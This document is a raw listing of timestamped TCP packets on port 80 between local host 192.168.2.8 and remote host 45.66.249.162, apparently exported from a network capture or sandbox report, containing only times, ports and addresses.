Oct 11, 2024 22:32:27.173877001 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.173919916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.173964977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.173970938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.173985958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174089909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174098015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174098015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174105883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174120903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174135923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174150944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174166918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174171925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174171925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174171925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174171925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174192905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174196959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174210072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174248934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174252033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174273014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174287081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174290895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174303055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174312115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174380064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174380064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174484015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174628973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174635887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174660921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174674988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174689054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174719095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174729109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174729109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174729109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174729109 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174741030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174751043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174756050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174771070 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174786091 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174798965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174813986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174828053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.174859047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174859047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174859047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174859047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174859047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.174859047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175040007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175240993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175331116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175332069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175347090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175364017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175405979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175405979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175405979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175653934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175668955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175682068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175695896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175715923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175744057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175744057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175802946 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175817966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175833941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175848961 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175940990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175956011 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.175960064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.175971985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176024914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176024914 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176162958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176177979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176192999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176206112 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176218033 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176220894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176235914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176251888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176271915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176271915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176271915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176363945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176500082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176597118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176609993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176625013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176625013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176641941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176645041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176656961 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176659107 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176671028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176686049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176690102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176745892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176745892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176748991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176764965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176779032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176791906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176795006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176808119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176809072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176820040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176834106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176853895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.176937103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.176953077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177195072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177195072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177546024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177603006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177691936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177706957 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177721024 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177733898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177752972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177752972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177757025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177772999 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177774906 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177788019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177803993 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177809000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177823067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177836895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177851915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177865982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177881956 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177895069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.177921057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177921057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177922010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177922010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.177922010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.178086996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.183924913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.183955908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.183974028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.183979988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.183990002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.183999062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.184007883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.184022903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.184051037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.184051037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529112101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529172897 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529211044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529233932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529257059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529277086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529299021 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529306889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529306889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529306889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529306889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529306889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529306889 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529335976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529360056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529382944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529405117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529428005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529452085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529459000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529459000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529459000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529459000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529459000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529459000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529479980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529501915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529522896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529548883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529567003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529567003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529567003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529567003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529577017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529596090 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529601097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529638052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529660940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529690027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529711008 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529731989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529753923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529764891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529802084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529824972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529845953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529901028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529932022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529932022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529932022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529932022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529932022 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.529934883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529958010 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.529979944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530003071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530024052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530045033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530050039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530050039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530050039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530050039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530050039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530081987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530105114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530139923 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530162096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530183077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530194044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530194044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530194044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530194044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530194044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530206919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530231953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530258894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530283928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530304909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530313015 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530313969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530313969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530313969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530313969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530327082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530349970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530375004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530396938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530417919 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530426025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530426025 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530426979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530426979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530426979 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530440092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530473948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530502081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530524015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530545950 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530566931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530575991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530575991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530575991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530575991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530575991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530575991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530592918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530616045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530642986 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530663967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530684948 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530718088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530718088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530718088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530718088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530718088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530718088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530791998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530812979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530837059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530846119 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530854940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530864000 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530872107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530877113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530880928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530889034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530899048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530904055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530904055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530904055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530904055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.530909061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530917883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530927896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530936003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530946016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530953884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530961990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530971050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530978918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530987978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.530996084 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.531004906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.531013012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.531014919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531014919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531014919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531014919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531014919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531014919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531022072 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.531032085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.531042099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.531331062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531331062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531331062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.531331062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:27.536315918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536328077 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536341906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536403894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536415100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536426067 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536432028 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536468983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536477089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536482096 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536487103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536490917 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536495924 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:27.536509037 CEST	49707	80	192.168.2.8	45.66.249.162
